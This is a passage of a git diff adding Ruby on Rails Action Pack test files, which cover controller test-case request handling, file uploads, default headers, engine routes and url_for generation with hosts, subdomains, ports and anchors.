+    assert_equal routes_id, @routes.object_id
+  end
+
+  def test_remote_addr
+    get :test_remote_addr
+    assert_equal "0.0.0.0", @response.body
+
+    @request.remote_addr = "192.0.0.1"
+    get :test_remote_addr
+    assert_equal "192.0.0.1", @response.body
+  end
+
+  def test_header_properly_reset_after_remote_http_request
+    get :test_params, xhr: true
+    assert_nil @request.env["HTTP_X_REQUESTED_WITH"]
+    assert_nil @request.env["HTTP_ACCEPT"]
+  end
+
+  def test_xhr_with_params
+    get :test_params, params: { id: 1 }, xhr: true
+
+    assert_equal({ "id" => "1", "controller" => "test_case_test/test", "action" => "test_params" }, ::JSON.parse(@response.body))
+  end
+
+  def test_xhr_with_session
+    get :set_session, xhr: true
+
+    assert_equal "A wonder", session["string"], "A value stored in the session should be available by string key"
+    assert_equal "A wonder", session[:string], "Test session hash should allow indifferent access"
+    assert_equal "it works", session["symbol"], "Test session hash should allow indifferent access"
+    assert_equal "it works", session[:symbol], "Test session hash should allow indifferent access"
+  end
+
+  def test_params_reset_between_post_requests
+    post :no_op, params: { foo: "bar" }
+    assert_equal "bar", @request.params[:foo]
+
+    post :no_op
+    assert @request.params[:foo].blank?
+  end
+
+  def test_filtered_parameters_reset_between_requests
+    get :no_op, params: { foo: "bar" }
+    assert_equal "bar", @request.filtered_parameters[:foo]
+
+    get :no_op, params: { foo: "baz" }
+    assert_equal "baz", @request.filtered_parameters[:foo]
+  end
+
+  def test_path_is_kept_after_the_request
+    get :test_params, params: { id: "foo" }
+    assert_equal "/test_case_test/test/test_params/foo", @request.path
+  end
+
+  def test_path_params_reset_between_request
+    get :test_params, params: { id: "foo" }
+    assert_equal "foo", @request.path_parameters[:id]
+
+    get :test_params
+    assert_nil @request.path_parameters[:id]
+  end
+
+  def test_request_protocol_is_reset_after_request
+    get :test_protocol
+    assert_equal "http://", @response.body
+
+    @request.env["HTTPS"] = "on"
+    get :test_protocol
+    assert_equal "https://", @response.body
+
+    @request.env.delete("HTTPS")
+    get :test_protocol
+    assert_equal "http://", @response.body
+  end
+
+  def test_request_format
+    get :test_format, params: { format: "html" }
+    assert_equal "text/html", @response.body
+
+    get :test_format, params: { format: "json" }
+    assert_equal "application/json", @response.body
+
+    get :test_format, params: { format: "xml" }
+    assert_equal "application/xml", @response.body
+
+    get :test_format
+    assert_equal "text/html", @response.body
+  end
+
+  def test_request_format_kwarg
+    get :test_format, format: "html"
+    assert_equal "text/html", @response.body
+
+    get :test_format, format: "json"
+    assert_equal "application/json", @response.body
+
+    get :test_format, format: "xml"
+    assert_equal "application/xml", @response.body
+
+    get :test_format
+    assert_equal "text/html", @response.body
+  end
+
+  def test_request_format_kwarg_overrides_params
+    get :test_format, format: "json", params: { format: "html" }
+    assert_equal "application/json", @response.body
+  end
+
+  def test_should_have_knowledge_of_client_side_cookie_state_even_if_they_are_not_set
+    cookies["foo"] = "bar"
+    get :no_op
+    assert_equal "bar", cookies["foo"]
+  end
+
+  def test_cookies_should_be_escaped_properly
+    cookies["foo"] = "+"
+    get :render_cookie
+    assert_equal "+", @response.body
+  end
+
+  def test_should_detect_if_cookie_is_deleted
+    cookies["foo"] = "bar"
+    get :delete_cookie
+    assert_nil cookies["foo"]
+  end
+
+  def test_multiple_mixed_method_process_should_scrub_rack_input
+    post :test_params, params: { id: 1, foo: "an foo" }
+    assert_equal({ "id" => "1", "foo" => "an foo", "controller" => "test_case_test/test", "action" => "test_params" }, ::JSON.parse(@response.body))
+
+    get :test_params, params: { bar: "an bar" }
+    assert_equal({ "bar" => "an bar", "controller" => "test_case_test/test", "action" => "test_params" }, ::JSON.parse(@response.body))
+  end
+
+  %w(controller response request).each do |variable|
+    %w(get post put delete head process).each do |method|
+      define_method("test_#{variable}_missing_for_#{method}_raises_error") do
+        remove_instance_variable "@#{variable}"
+        begin
+          send(method, :test_remote_addr)
+          assert false, "expected RuntimeError, got nothing"
+        rescue RuntimeError => error
+          assert_match(%r{@#{variable} is nil}, error.message)
+        rescue => error
+          assert false, "expected RuntimeError, got #{error.class}"
+        end
+      end
+    end
+  end
+
+  FILES_DIR = File.expand_path("../fixtures/multipart", __dir__)
+
+  READ_BINARY = "rb:binary"
+  READ_PLAIN = "r:binary"
+
+  def test_test_uploaded_file
+    filename = "ruby_on_rails.jpg"
+    path = "#{FILES_DIR}/#{filename}"
+    content_type = "image/png"
+    expected = File.read(path)
+    expected.force_encoding(Encoding::BINARY)
+
+    file = Rack::Test::UploadedFile.new(path, content_type)
+    assert_equal filename, file.original_filename
+    assert_equal content_type, file.content_type
+    assert_equal file.path, file.local_path
+    assert_equal expected, file.read
+
+    new_content_type = "new content_type"
+    file.content_type = new_content_type
+    assert_equal new_content_type, file.content_type
+  end
+
+  def test_fixture_path_is_accessed_from_self_instead_of_active_support_test_case
+    TestCaseTest.stub :fixture_path, FILES_DIR do
+      uploaded_file = fixture_file_upload("/ruby_on_rails.jpg", "image/png")
+      assert_equal File.open("#{FILES_DIR}/ruby_on_rails.jpg", READ_PLAIN).read, uploaded_file.read
+    end
+  end
+
+  def test_test_uploaded_file_with_binary
+    filename = "ruby_on_rails.jpg"
+    path = "#{FILES_DIR}/#{filename}"
+    content_type = "image/png"
+
+    binary_uploaded_file = Rack::Test::UploadedFile.new(path, content_type, :binary)
+    assert_equal File.open(path, READ_BINARY).read, binary_uploaded_file.read
+
+    plain_uploaded_file = Rack::Test::UploadedFile.new(path, content_type)
+    assert_equal File.open(path, READ_PLAIN).read, plain_uploaded_file.read
+  end
+
+  def test_fixture_file_upload_with_binary
+    filename = "ruby_on_rails.jpg"
+    path = "#{FILES_DIR}/#{filename}"
+    content_type = "image/jpg"
+
+    binary_file_upload = fixture_file_upload(path, content_type, :binary)
+    assert_equal File.open(path, READ_BINARY).read, binary_file_upload.read
+
+    plain_file_upload = fixture_file_upload(path, content_type)
+    assert_equal File.open(path, READ_PLAIN).read, plain_file_upload.read
+  end
+
+  def test_fixture_file_upload_should_be_able_access_to_tempfile
+    file = fixture_file_upload(FILES_DIR + "/ruby_on_rails.jpg", "image/jpg")
+    assert file.respond_to?(:tempfile), "expected tempfile should respond on fixture file object, got nothing"
+  end
+
+  def test_fixture_file_upload
+    post :test_file_upload,
+      params: {
+        file: fixture_file_upload(FILES_DIR + "/ruby_on_rails.jpg", "image/jpg")
+      }
+    assert_equal "45142", @response.body
+  end
+
+  def test_fixture_file_upload_relative_to_fixture_path
+    TestCaseTest.stub :fixture_path, FILES_DIR do
+      uploaded_file = fixture_file_upload("ruby_on_rails.jpg", "image/jpg")
+      assert_equal File.open("#{FILES_DIR}/ruby_on_rails.jpg", READ_PLAIN).read, uploaded_file.read
+    end
+  end
+
+  def test_fixture_file_upload_ignores_fixture_path_given_full_path
+    TestCaseTest.stub :fixture_path, __dir__ do
+      uploaded_file = fixture_file_upload("#{FILES_DIR}/ruby_on_rails.jpg", "image/jpg")
+      assert_equal File.open("#{FILES_DIR}/ruby_on_rails.jpg", READ_PLAIN).read, uploaded_file.read
+    end
+  end
+
+  def test_fixture_file_upload_ignores_nil_fixture_path
+    uploaded_file = fixture_file_upload("#{FILES_DIR}/ruby_on_rails.jpg", "image/jpg")
+    assert_equal File.open("#{FILES_DIR}/ruby_on_rails.jpg", READ_PLAIN).read, uploaded_file.read
+  end
+
+  def test_action_dispatch_uploaded_file_upload
+    filename = "ruby_on_rails.jpg"
+    path = "#{FILES_DIR}/#{filename}"
+    post :test_file_upload, params: {
+      file: Rack::Test::UploadedFile.new(path, "image/jpg", true)
+    }
+    assert_equal "45142", @response.body
+  end
+
+  def test_test_uploaded_file_exception_when_file_doesnt_exist
+    assert_raise(RuntimeError) { Rack::Test::UploadedFile.new("non_existent_file") }
+  end
+
+  def test_redirect_url_only_cares_about_location_header
+    get :create
+    assert_response :created
+
+    # Redirect url doesn't care that it wasn't a :redirect response.
+    assert_equal "/resource", @response.redirect_url
+    assert_equal @response.redirect_url, redirect_to_url
+
+    # Must be a :redirect response.
+    assert_raise(ActiveSupport::TestCase::Assertion) do
+      assert_redirected_to "/resource"
+    end
+  end
+
+  def test_exception_in_action_reaches_test
+    assert_raise(RuntimeError) do
+      process :boom, method: "GET"
+    end
+  end
+
+  def test_request_state_is_cleared_after_exception
+    assert_raise(RuntimeError) do
+      process :boom,
+        method: "GET",
+        params: { q: "test1" }
+    end
+
+    process :test_query_string,
+      method: "GET",
+      params: { q: "test2" }
+
+    assert_equal "q=test2", @response.body
+  end
+end
+
+class ResponseDefaultHeadersTest < ActionController::TestCase
+  class TestController < ActionController::Base
+    def remove_header
+      headers.delete params[:header]
+      head :ok, "C" => "3"
+    end
+
+    # Render a head response, but don't touch default headers
+    def leave_alone
+      head :ok
+    end
+  end
+
+  def before_setup
+    @original = ActionDispatch::Response.default_headers
+    @defaults = { "A" => "1", "B" => "2" }
+    ActionDispatch::Response.default_headers = @defaults
+    super
+  end
+
+  teardown do
+    ActionDispatch::Response.default_headers = @original
+  end
+
+  def setup
+    super
+    @controller = TestController.new
+    @request.env["PATH_INFO"] = nil
+    @routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
+      r.draw do
+        ActiveSupport::Deprecation.silence do
+          get ":controller(/:action(/:id))"
+        end
+      end
+    end
+  end
+
+  test "response contains default headers" do
+    get :leave_alone
+
+    # Response headers start out with the defaults
+    assert_equal @defaults.merge("Content-Type" => "text/html"), response.headers
+  end
+
+  test "response deletes a default header" do
+    get :remove_header, params: { header: "A" }
+    assert_response :ok
+
+    # After a request, the response in the test case doesn't have the
+    # defaults merged on top again.
+    assert_not_includes response.headers, "A"
+    assert_includes response.headers, "B"
+    assert_includes response.headers, "C"
+  end
+end
+
+module EngineControllerTests
+  class Engine < ::Rails::Engine
+    isolate_namespace EngineControllerTests
+
+    routes.draw do
+      get "/" => "bar#index"
+    end
+  end
+
+  class BarController < ActionController::Base
+    def index
+      render plain: "bar"
+    end
+  end
+
+  class BarControllerTest < ActionController::TestCase
+    tests BarController
+
+    def test_engine_controller_route
+      get :index
+      assert_equal @response.body, "bar"
+    end
+  end
+
+  class BarControllerTestWithExplicitRouteSet < ActionController::TestCase
+    tests BarController
+
+    def setup
+      @routes = Engine.routes
+    end
+
+    def test_engine_controller_route
+      get :index
+      assert_equal @response.body, "bar"
+    end
+  end
+end
+
+class InferringClassNameTest < ActionController::TestCase
+  def test_determine_controller_class
+    assert_equal ContentController, determine_class("ContentControllerTest")
+  end
+
+  def test_determine_controller_class_with_nonsense_name
+    assert_nil determine_class("HelloGoodBye")
+  end
+
+  def test_determine_controller_class_with_sensible_name_where_no_controller_exists
+    assert_nil determine_class("NoControllerWithThisNameTest")
+  end
+
+  private
+    def determine_class(name)
+      ActionController::TestCase.determine_default_controller_class(name)
+    end
+end
+
+class CrazyNameTest < ActionController::TestCase
+  tests ContentController
+
+  def test_controller_class_can_be_set_manually_not_just_inferred
+    assert_equal ContentController, self.class.controller_class
+  end
+end
+
+class CrazySymbolNameTest < ActionController::TestCase
+  tests :content
+
+  def test_set_controller_class_using_symbol
+    assert_equal ContentController, self.class.controller_class
+  end
+end
+
+class CrazyStringNameTest < ActionController::TestCase
+  tests "content"
+
+  def test_set_controller_class_using_string
+    assert_equal ContentController, self.class.controller_class
+  end
+end
+
+class NamedRoutesControllerTest < ActionController::TestCase
+  tests ContentController
+
+  def test_should_be_able_to_use_named_routes_before_a_request_is_done
+    with_routing do |set|
+      set.draw { resources :contents }
+      assert_equal "http://test.host/contents/new", new_content_url
+      assert_equal "http://test.host/contents/1", content_url(id: 1)
+    end
+  end
+end
+
+class AnonymousControllerTest < ActionController::TestCase
+  def setup
+    @controller = Class.new(ActionController::Base) do
+      def index
+        render plain: params[:controller]
+      end
+    end.new
+
+    @routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
+      r.draw do
+        ActiveSupport::Deprecation.silence do
+          get ":controller(/:action(/:id))"
+        end
+      end
+    end
+  end
+
+  def test_controller_name
+    get :index
+    assert_equal "anonymous", @response.body
+  end
+end
+
+class RoutingDefaultsTest < ActionController::TestCase
+  def setup
+    @controller = Class.new(ActionController::Base) do
+      def post
+        render plain: request.fullpath
+      end
+
+      def project
+        render plain: request.fullpath
+      end
+    end.new
+
+    @routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
+      r.draw do
+        get "/posts/:id", to: "anonymous#post", bucket_type: "post"
+        get "/projects/:id", to: "anonymous#project", defaults: { bucket_type: "project" }
+      end
+    end
+  end
+
+  def test_route_option_can_be_passed_via_process
+    get :post, params: { id: 1, bucket_type: "post" }
+    assert_equal "/posts/1", @response.body
+  end
+
+  def test_route_default_is_not_required_for_building_request_uri
+    get :project, params: { id: 2 }
+    assert_equal "/projects/2", @response.body
+  end
+end
diff --git a/actionpack/test/controller/url_for_integration_test.rb b/actionpack/test/controller/url_for_integration_test.rb
new file mode 100644
index 0000000000..a7c7356921
--- /dev/null
+++ b/actionpack/test/controller/url_for_integration_test.rb
@@ -0,0 +1,193 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "controller/fake_controllers"
+require "active_support/core_ext/object/with_options"
+
+module ActionPack
+  class URLForIntegrationTest < ActiveSupport::TestCase
+    include RoutingTestHelpers
+    include ActionDispatch::RoutingVerbs
+
+    Model = Struct.new(:to_param)
+
+    Mapping = lambda {
+      namespace :admin do
+        resources :users, :posts
+      end
+
+      namespace "api" do
+        root to: "users#index"
+      end
+
+      get "/blog(/:year(/:month(/:day)))" => "posts#show_date",
+        :constraints => {
+          year: /(19|20)\d\d/,
+          month: /[01]?\d/,
+          day: /[0-3]?\d/
+        },
+        :day => nil,
+        :month => nil
+
+      get "archive/:year", controller: "archive", action: "index",
+        defaults: { year: nil },
+        constraints: { year: /\d{4}/ },
+        as: "blog"
+
+      resources :people
+      #match 'legacy/people' => "people#index", :legacy => "true"
+
+      get "symbols", controller: :symbols, action: :show, name: :as_symbol
+      get "id_default(/:id)" => "foo#id_default", :id => 1
+      match "get_or_post" => "foo#get_or_post", :via => [:get, :post]
+      get "optional/:optional" => "posts#index"
+      get "projects/:project_id" => "project#index", :as => "project"
+      get "clients" => "projects#index"
+
+      get "ignorecase/geocode/:postalcode" => "geocode#show", :postalcode => /hx\d\d-\d[a-z]{2}/i
+      get "extended/geocode/:postalcode" => "geocode#show", :constraints => {
+        postalcode: /# Postcode format
+        \d{5} #Prefix
+        (-\d{4})? #Suffix
+        /x
+      }, :as => "geocode"
+
+      get "news(.:format)" => "news#index"
+
+      ActiveSupport::Deprecation.silence {
+        get "comment/:id(/:action)" => "comments#show"
+        get "ws/:controller(/:action(/:id))", ws: true
+        get "account(/:action)" => "account#subscription"
+        get "pages/:page_id/:controller(/:action(/:id))"
+        get ":controller/ping", action: "ping"
+        get ":controller(/:action(/:id))(.:format)"
+      }
+
+      root to: "news#index"
+    }
+
+    attr_reader :routes
+    attr_accessor :controller
+
+    def setup
+      @routes = make_set false
+      @routes.draw(&Mapping)
+    end
+
+    [
+      ["/admin/users", [ { use_route: "admin_users" }]],
+      ["/admin/users", [ { controller: "admin/users" }]],
+      ["/admin/users", [ { controller: "admin/users", action: "index" }]],
+      ["/admin/users", [ { action: "index" }, { controller: "admin/users", action: "index" }, "/admin/users"]],
+      ["/admin/users", [ { controller: "users", action: "index" }, { controller: "admin/accounts", action: "show", id: "1" }, "/admin/accounts/show/1"]],
+      ["/people", [      { controller: "/people", action: "index" }, { controller: "admin/accounts", action: "foo", id: "bar" }, "/admin/accounts/foo/bar"]],
+
+      ["/admin/posts", [     { controller: "admin/posts" }]],
+      ["/admin/posts/new", [ { controller: "admin/posts", action: "new" }]],
+
+      ["/blog/2009", [     { controller: "posts", action: "show_date", year: 2009 }]],
+      ["/blog/2009/1", [   { controller: "posts", action: "show_date", year: 2009, month: 1 }]],
+      ["/blog/2009/1/1", [ { controller: "posts", action: "show_date", year: 2009, month: 1, day: 1 }]],
+
+      ["/archive/2010", [ { controller: "archive", action: "index", year: "2010" }]],
+      ["/archive", [      { controller: "archive", action: "index" }]],
+      ["/archive?year=january", [ { controller: "archive", action: "index", year: "january" }]],
+
+      ["/people", [ { controller: "people", action: "index" }]],
+      ["/people", [ { action: "index" }, { controller: "people", action: "index" }, "/people"]],
+      ["/people", [ { action: "index" }, { controller: "people", action: "show", id: "1" }, "/people/show/1"]],
+      ["/people", [ { controller: "people", action: "index" }, { controller: "people", action: "show", id: "1" }, "/people/show/1"]],
+      ["/people", [ {}, { controller: "people", action: "index" }, "/people"]],
+      ["/people/1", [   { controller: "people", action: "show" }, { controller: "people", action: "show", id: "1" }, "/people/show/1"]],
+      ["/people/new", [ { use_route: "new_person" }]],
+      ["/people/new", [ { controller: "people", action: "new" }]],
+      ["/people/1", [   { use_route: "person", id: "1" }]],
+      ["/people/1", [   { controller: "people", action: "show", id: "1" }]],
+      ["/people/1.xml", [ { controller: "people", action: "show", id: "1", format: "xml" }]],
+      ["/people/1", [ { controller: "people", action: "show", id: 1 }]],
+      ["/people/1", [ { controller: "people", action: "show", id: Model.new("1") }]],
+      ["/people/1", [ { action: "show", id: "1" }, { controller: "people", action: "index" }, "/people"]],
+      ["/people/1", [ { action: "show", id: 1 }, { controller: "people", action: "show", id: "1" }, "/people/show/1"]],
+      ["/people", [   { controller: "people", action: "index" }, { controller: "people", action: "show", id: "1" }, "/people/show/1"]],
+      ["/people/1", [ {}, { controller: "people", action: "show", id: "1" }, "/people/show/1"]],
+      ["/people/1", [ { controller: "people", action: "show" }, { controller: "people", action: "index", id: "1" }, "/people/index/1"]],
+      ["/people/1/edit", [     { controller: "people", action: "edit", id: "1" }]],
+      ["/people/1/edit.xml", [ { controller: "people", action: "edit", id: "1", format: "xml" }]],
+      ["/people/1/edit", [     { use_route: "edit_person", id: "1" }]],
+      ["/people/1?legacy=true", [ { controller: "people", action: "show", id: "1", legacy: "true" }]],
+      ["/people?legacy=true", [   { controller: "people", action: "index", legacy: "true" }]],
+
+      ["/id_default/2", [ { controller: "foo", action: "id_default", id: "2" }]],
+      ["/id_default", [   { controller: "foo", action: "id_default", id: "1" }]],
+      ["/id_default", [   { controller: "foo", action: "id_default", id: 1 }]],
+      ["/id_default", [   { controller: "foo", action: "id_default" }]],
+      ["/optional/bar", [ { controller: "posts", action: "index", optional: "bar" }]],
+      ["/posts", [ { controller: "posts", action: "index" }]],
+
+      ["/project", [    { controller: "project", action: "index" }]],
+      ["/projects/1", [ { controller: "project", action: "index", project_id: "1" }]],
+      ["/projects/1", [ { controller: "project", action: "index" }, { project_id: "1", controller: "project", action: "index" }, "/projects/1"]],
+      ["/projects/1", [ { use_route: "project", controller: "project", action: "index", project_id: "1" }]],
+      ["/projects/1", [ { use_route: "project", controller: "project", action: "index" }, { controller: "project", action: "index", project_id: "1" }, "/projects/1"]],
+
+      ["/clients", [ { controller: "projects", action: "index" }]],
+      ["/clients?project_id=1", [ { controller: "projects", action: "index", project_id: "1" }]],
+      ["/clients", [ { controller: "projects", action: "index" }, { project_id: "1", controller: "project", action: "index" }, "/projects/1"]],
+
+      ["/comment/20", [   { id: 20 }, { controller: "comments", action: "show" }, "/comments/show"]],
+      ["/comment/20", [   { controller: "comments", id: 20, action: "show" }]],
+      ["/comments/boo", [ { controller: "comments", action: "boo" }]],
+
+      ["/ws/posts/show/1", [ { controller: "posts", action: "show", id: "1", ws: true }]],
+      ["/ws/posts", [        { controller: "posts", action: "index", ws: true }]],
+
+      ["/account", [         { controller: "account", action: "subscription" }]],
+      ["/account/billing", [ { controller: "account", action: "billing" }]],
+
+      ["/pages/1/notes/show/1", [ { page_id: "1", controller: "notes", action: "show", id: "1" }]],
+      ["/pages/1/notes/list", [   { page_id: "1", controller: "notes", action: "list" }]],
+      ["/pages/1/notes", [ { page_id: "1", controller: "notes", action: "index" }]],
+      ["/pages/1/notes", [ { page_id: "1", controller: "notes" }]],
+      ["/notes", [         { page_id: nil, controller: "notes" }]],
+      ["/notes", [         { controller: "notes" }]],
+      ["/notes/print", [   { controller: "notes", action: "print" }]],
+      ["/notes/print", [   {}, { controller: "notes", action: "print" }, "/notes/print"]],
+
+      ["/notes/index/1", [ { controller: "notes" }, { controller: "notes", action: "index", id: "1" }, "/notes/index/1"]],
+      ["/notes/index/1", [ { controller: "notes" }, { controller: "notes", id: "1", action: "index" }, "/notes/index/1"]],
+      ["/notes/index/1", [ { action: "index" }, { controller: "notes", id: "1", action: "index" }, "/notes/index/1"]],
+      ["/notes/index/1", [ {}, { controller: "notes", id: "1", action: "index" }, "/notes/index/1"]],
+      ["/notes/show/1", [  {}, { controller: "notes", action: "show", id: "1" }, "/notes/show/1"]],
+      ["/posts", [      { controller: "posts" }, { controller: "notes", action: "show", id: "1" }, "/notes/show/1"]],
+      ["/notes/list", [ { action: "list" }, { controller: "notes", action: "show", id: "1" }, "/notes/show/1"]],
+
+      ["/posts/ping", [    { controller: "posts", action: "ping" }]],
+      ["/posts/show/1", [  { controller: "posts", action: "show", id: "1" }]],
+      ["/posts/show/1", [  { controller: "posts", action: "show", id: "1", format: "" }]],
+      ["/posts", [         { controller: "posts" }]],
+      ["/posts", [         { controller: "posts", action: "index" }]],
+      ["/posts/create", [  { action: "create" }, { day: nil, month: nil, controller: "posts", action: "show_date" }, "/blog"]],
+      ["/posts?foo=bar", [ { controller: "posts", foo: "bar" }]],
+      ["/posts?foo%5B%5D=bar&foo%5B%5D=baz", [{ controller: "posts", foo: ["bar", "baz"] }]],
+      ["/posts?page=2",  [{ controller: "posts", page: 2 }]],
+      ["/posts?q%5Bfoo%5D%5Ba%5D=b", [{ controller: "posts", q: { foo: { a: "b" } } }]],
+
+      ["/news.rss", [{ controller: "news", action: "index", format: "rss" }]],
+    ].each_with_index do |(url, params), i|
+      if params.length > 1
+        hash, path_params, route = *params
+        hash[:only_path] = true
+
+        define_method("test_#{url.gsub(/\W/, '_')}_#{i}") do
+          get URI("http://test.host" + route.to_s)
+          assert_equal path_params, controller.request.path_parameters
+          assert_equal url, controller.url_for(hash), params.inspect
+        end
+      else
+        define_method("test_#{url.gsub(/\W/, '_')}_#{i}") do
+          assert_equal url, url_for(@routes, params.first), params.inspect
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/test/controller/url_for_test.rb b/actionpack/test/controller/url_for_test.rb
new file mode 100644
index 0000000000..cf11227897
--- /dev/null
+++ b/actionpack/test/controller/url_for_test.rb
@@ -0,0 +1,519 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module AbstractController
+  module Testing
+    class UrlForTest < ActionController::TestCase
+      class W
+        include ActionDispatch::Routing::RouteSet.new.tap { |r|
+          r.draw {
+            ActiveSupport::Deprecation.silence {
+              get ":controller(/:action(/:id(.:format)))"
+            }
+          }
+        }.url_helpers
+      end
+
+      def teardown
+        W.default_url_options.clear
+      end
+
+      def test_nested_optional
+        klass = Class.new {
+          include ActionDispatch::Routing::RouteSet.new.tap { |r|
+            r.draw {
+              get "/foo/(:bar/(:baz))/:zot", as: "fun",
+                                             controller: :articles,
+                                             action: :index
+            }
+          }.url_helpers
+          default_url_options[:host] = "example.com"
+        }
+
+        path = klass.new.fun_path(controller: :articles,
+                                   baz: "baz",
+                                   zot: "zot")
+        # :bar key isn't provided
+        assert_equal "/foo/zot", path
+      end
+
+      def add_host!(app = W)
+        app.default_url_options[:host] = "www.basecamphq.com"
+      end
+
+      def add_port!
+        W.default_url_options[:port] = 3000
+      end
+
+      def add_numeric_host!
+        W.default_url_options[:host] = "127.0.0.1"
+      end
+
+      def test_exception_is_thrown_without_host
+        assert_raise ArgumentError do
+          W.new.url_for controller: "c", action: "a", id: "i"
+        end
+      end
+
+      def test_anchor
+        assert_equal("/c/a#anchor",
+          W.new.url_for(only_path: true, controller: "c", action: "a", anchor: "anchor")
+        )
+      end
+
+      def test_nil_anchor
+        assert_equal(
+          "/c/a",
+          W.new.url_for(only_path: true, controller: "c", action: "a", anchor: nil)
+        )
+      end
+
+      def test_false_anchor
+        assert_equal(
+          "/c/a",
+          W.new.url_for(only_path: true, controller: "c", action: "a", anchor: false)
+        )
+      end
+
+      def test_anchor_should_call_to_param
+        assert_equal("/c/a#anchor",
+          W.new.url_for(only_path: true, controller: "c", action: "a", anchor: Struct.new(:to_param).new("anchor"))
+        )
+      end
+
+      def test_anchor_should_escape_unsafe_pchar
+        assert_equal("/c/a#%23anchor",
+          W.new.url_for(only_path: true, controller: "c", action: "a", anchor: Struct.new(:to_param).new("#anchor"))
+        )
+      end
+
+      def test_anchor_should_not_escape_safe_pchar
+        assert_equal("/c/a#name=user&email=user@domain.com",
+          W.new.url_for(only_path: true, controller: "c", action: "a", anchor: Struct.new(:to_param).new("name=user&email=user@domain.com"))
+        )
+      end
+
+      def test_default_host
+        add_host!
+        assert_equal("http://www.basecamphq.com/c/a/i",
+          W.new.url_for(controller: "c", action: "a", id: "i")
+        )
+      end
+
+      def test_host_may_be_overridden
+        add_host!
+        assert_equal("http://37signals.basecamphq.com/c/a/i",
+          W.new.url_for(host: "37signals.basecamphq.com", controller: "c", action: "a", id: "i")
+        )
+      end
+
+      def test_subdomain_may_be_changed
+        add_host!
+        assert_equal("http://api.basecamphq.com/c/a/i",
+          W.new.url_for(subdomain: "api", controller: "c", action: "a", id: "i")
+        )
+      end
+
+      def test_subdomain_may_be_object
+        model = Class.new { def self.to_param; "api"; end }
+        add_host!
+        assert_equal("http://api.basecamphq.com/c/a/i",
+          W.new.url_for(subdomain: model, controller: "c", action: "a", id: "i")
+        )
+      end
+
+      def test_subdomain_may_be_removed
+        add_host!
+        assert_equal("http://basecamphq.com/c/a/i",
+          W.new.url_for(subdomain: false, controller: "c", action: "a", id: "i")
+        )
+      end
+
+      def test_subdomain_may_be_removed_with_blank_string
+        W.default_url_options[:host] = "api.basecamphq.com"
+        assert_equal("http://basecamphq.com/c/a/i",
+          W.new.url_for(subdomain: "", controller: "c", action: "a", id: "i")
+        )
+      end
+
+      def test_multiple_subdomains_may_be_removed
+        W.default_url_options[:host] = "mobile.www.api.basecamphq.com"
+        assert_equal("http://basecamphq.com/c/a/i",
+          W.new.url_for(subdomain: false, controller: "c", action: "a", id: "i")
+        )
+      end
+
+      def test_subdomain_may_be_accepted_with_numeric_host
+        add_numeric_host!
+        assert_equal("http://127.0.0.1/c/a/i",
+          W.new.url_for(subdomain: "api", controller: "c", action: "a", id: "i")
+        )
+      end
+
+      def test_domain_may_be_changed
+        add_host!
+        assert_equal("http://www.37signals.com/c/a/i",
+          W.new.url_for(domain: "37signals.com", controller: "c", action: "a", id: "i")
+        )
+      end
+
+      def test_tld_length_may_be_changed
+        add_host!
+        assert_equal("http://mobile.www.basecamphq.com/c/a/i",
+          W.new.url_for(subdomain: "mobile", tld_length: 2, controller: "c", action: "a", id: "i")
+        )
+      end
+
+      def test_port
+        add_host!
+        assert_equal("http://www.basecamphq.com:3000/c/a/i",
+          W.new.url_for(controller: "c", action: "a", id: "i", port: 3000)
+        )
+      end
+
+      def test_default_port
+        add_host!
+        add_port!
+        assert_equal("http://www.basecamphq.com:3000/c/a/i",
+          W.new.url_for(controller: "c", action: "a", id: "i")
+        )
+      end
+
+      def test_protocol
+        add_host!
+        assert_equal("https://www.basecamphq.com/c/a/i",
+          W.new.url_for(controller: "c", action: "a", id: "i", protocol: "https")
+        )
+      end
+
+      def test_protocol_with_and_without_separators
+        add_host!
+        assert_equal("https://www.basecamphq.com/c/a/i",
+          W.new.url_for(controller: "c", action: "a", id: "i", protocol: "https")
+        )
+        assert_equal("https://www.basecamphq.com/c/a/i",
+          W.new.url_for(controller: "c", action: "a", id: "i", protocol: "https:")
+        )
+        assert_equal("https://www.basecamphq.com/c/a/i",
+          W.new.url_for(controller: "c", action: "a", id: "i", protocol: "https://")
+        )
+      end
+
+      def test_without_protocol
+        add_host!
+        assert_equal("//www.basecamphq.com/c/a/i",
+          W.new.url_for(controller: "c", action: "a", id: "i", protocol: "//")
+        )
+        assert_equal("//www.basecamphq.com/c/a/i",
+          W.new.url_for(controller: "c", action: "a", id: "i", protocol: false)
+        )
+      end
+
+      def test_without_protocol_and_with_port
+        add_host!
+        add_port!
+
+        assert_equal("//www.basecamphq.com:3000/c/a/i",
+          W.new.url_for(controller: "c", action: "a", id: "i", protocol: "//")
+        )
+        assert_equal("//www.basecamphq.com:3000/c/a/i",
+          W.new.url_for(controller: "c", action: "a", id: "i", protocol: false)
+        )
+      end
+
+      def test_trailing_slash
+        add_host!
+        options = { controller: "foo", trailing_slash: true, action: "bar", id: "33" }
+        assert_equal("http://www.basecamphq.com/foo/bar/33/", W.new.url_for(options))
+      end
+
+      def test_trailing_slash_with_protocol
+        add_host!
+        options = { trailing_slash: true, protocol: "https", controller: "foo", action: "bar", id: "33" }
+        assert_equal("https://www.basecamphq.com/foo/bar/33/", W.new.url_for(options))
+        assert_equal "https://www.basecamphq.com/foo/bar/33/?query=string", W.new.url_for(options.merge(query: "string"))
+      end
+
+      def test_trailing_slash_with_only_path
+        options = { controller: "foo", trailing_slash: true }
+        assert_equal "/foo/", W.new.url_for(options.merge(only_path: true))
+        options.update(action: "bar", id: "33")
+        assert_equal "/foo/bar/33/", W.new.url_for(options.merge(only_path: true))
+        assert_equal "/foo/bar/33/?query=string", W.new.url_for(options.merge(query: "string", only_path: true))
+      end
+
+      def test_trailing_slash_with_anchor
+        options = { trailing_slash: true, controller: "foo", action: "bar", id: "33", only_path: true, anchor: "chapter7" }
+        assert_equal "/foo/bar/33/#chapter7", W.new.url_for(options)
+        assert_equal "/foo/bar/33/?query=string#chapter7", W.new.url_for(options.merge(query: "string"))
+      end
+
+      def test_trailing_slash_with_params
+        url = W.new.url_for(trailing_slash: true, only_path: true, controller: "cont", action: "act", p1: "cafe", p2: "link")
+        params = extract_params(url)
+        assert_equal({ p1: "cafe" }.to_query, params[0])
